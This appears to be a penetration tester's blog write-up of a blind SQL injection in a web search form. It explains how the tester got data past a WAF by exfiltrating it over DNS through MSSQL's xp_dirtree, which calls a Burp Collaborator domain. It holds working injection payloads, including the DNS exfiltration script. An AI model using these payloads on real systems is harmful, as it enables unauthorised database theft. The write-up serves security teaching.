In one of the engagements I was assigned an interesting case. The web application was obviously vulnerable to SQL injection, but WAF (web-application firewalls) were blocking any data exfiltration attempts. So the question arose how to get data?
But we will start from the beginning. One of the POST search parameters appeared to be vulnerable to an injection. An example of the request is seen below:
POST /search.aspx HTTP/1.1
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: [REDACTED]
Origin: https://[REDACTED]
Referer: https://[REDACTED]/search.aspx
Sec-Fetch-Mode: navigate
Connection: close
[REDACTED]&st=1111111111%20or%204444%3d04444--%20&search_string=test&ST=[REDACTED]
As seen in the somewhat redacted HTTP POST request above, the ‘st’ parameter was assigned some random value and appended with an SQL statement of ” or 4444=4444–“. By changing the “4444=4444 equation” to something different like “4444=4445” I noted the web app responding differently. It all depended on whether the equation resulted in a Logical True (4444=4444) or logical False (4444=4445) statements. One difference was in the length of the response. By noting this, I concluded that yeah…there is an SQL injection, cause our little SQL logical statements were being processed by the app.
So far it appears to be a common SQL injection. But here comes the interesting part – no info was possible to extract from the app through the ordinary HTTP channels. Apparently, there were some content filtering IPS (Intrusion-Prevention-Systems) and WAFs that would detect and block data exfiltration. After bumping around through various means, I decided to test other exfiltration channels, namely – DNS.
st=1;
declare @v varchar(99);
set @v=(select+db_name());
declare @q varchar(99);
set @q='\'+@v+'.tif95r6mxif6lb4sfa76xa84avgt4i.burpcollab'+'orator.net\jul';
exec master.dbo.xp_dirtree @q;--
What you see above is a simple proof-of-concept script written to retrieve information from the MSSQL database by utilizing DNS channel. We do it by declaring a variable and assigning it data extracted from the database:
set @v=(select+db_name());
The db_name() is an MSSQL function that retrieves the current database name. After that we declare another variable (@q) that is supposed to be a URL address. We set the main domain of the @q URL to a server that is controlled by us (.tif95r6mxif6lb4sfa76xa84avgt4i.burpcollab’+’orator.net\jul) and set the subdomain part of the URL to be equal to the extracted data from the database (‘\’+@v+’.).
Next, we invoke the MSSQL stored procedure xp_dirtree. By design, this SQL procedure displays a list of every folder, subfolder, and file for path you give it. If for the path we give an external URL, the procedure will initiate a DNS lookup for that URL. And that’s where our little magic happens, as with the DNS lookup requests the information retrieved from the database will be carried out as the subdomain names o the URLs.
The somewhat redacted screenshot below displays this technique that I used during the engagement:
Using this technique of retrieving information from the database and passing it as a subdomain name through outbound DNS resolutions – the whole database can be readily enumerated.